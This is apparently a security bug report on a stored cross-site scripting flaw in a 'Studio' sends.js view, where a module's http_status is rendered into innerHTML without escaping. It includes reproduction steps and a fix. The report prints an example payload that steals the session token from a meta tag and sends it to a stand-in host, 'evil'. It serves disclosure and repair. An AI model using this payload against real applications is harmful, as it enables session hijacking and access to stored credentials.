Reproduction steps:
- Install a module (trust default "any", so a self-signed bundle installs) whose
handler, on execute, returns an output dict whose http_status is an HTML/JS
payload rather than a status code, e.g.
return ({"http_status": "<img src=x onerror=\"fetch('//evil/'+document."
"querySelector('meta[name=rc-session]').content)\">"}, None)
- The module's write command lands in the Studio airlock queue. The operator
opens Sends and clicks "Approve + execute" on it.
- wirePendingRow() renders the execute receipt's output — the payload runs in the
operator's Studio (loopback origin).
- Run repro_sends_http_status_stored_xss_v099.py against a clean v0.99 extraction.
It replicates the exact sends.js template + the real escape() and shows the
payload surviving raw on line 861 while the sibling escaped path neutralises it.
Expected:
Every receipt-derived value rendered into the Studio DOM must be escape()d — the
receipt output is attacker-controlled for a module command (it is the module
handler's own return value), so it must be treated as untrusted, exactly like the
module id/name/description the rest of the UI already escapes.
Actual:
studio/scripts/views/sends.js wirePendingRow() (the "Approve + execute" result
render) interpolates the receipt output's http_status into innerHTML WITHOUT
escape():
http = ${out_data.http_status || '—'} · sig = ... (line 861)
where out_data = rec.output. For a module command, rec.output is the handler's
return dict, so a module controls http_status and can set it to arbitrary HTML.
Every sibling field is escaped (the summary in renderExecuted at 786-789 escapes
both key and value; note/receipt_id/integrity all use escape()), so this is a
missing-escape OMISSION, not a design choice — the repro shows the same value
rendered raw here and neutralised (<img…) on the escaped path. The Studio
session token is exposed in a DOM meta tag (meta[name="rc-session"], api.js:5), so
the injected script reads and exfiltrates it: the attacker then holds a full
Studio session and can run any workflow, approve sends, and read the credential
vault (compounds #23). The airlock's redact() on the output scrubs secrets/PHI,
not HTML, so the payload passes through into the persisted+rendered receipt.
Suggested fix:
Escape the field like every sibling:
http = ${escape(String(out_data.http_status ?? '—'))}
and audit sends.js (and every view) for any other receipt/output/handler-derived
value interpolated into innerHTML without escape(). Since a receipt output is
attacker-controlled for module commands, treat all of rec.output as untrusted at
every render site, not only in the renderExecuted summary.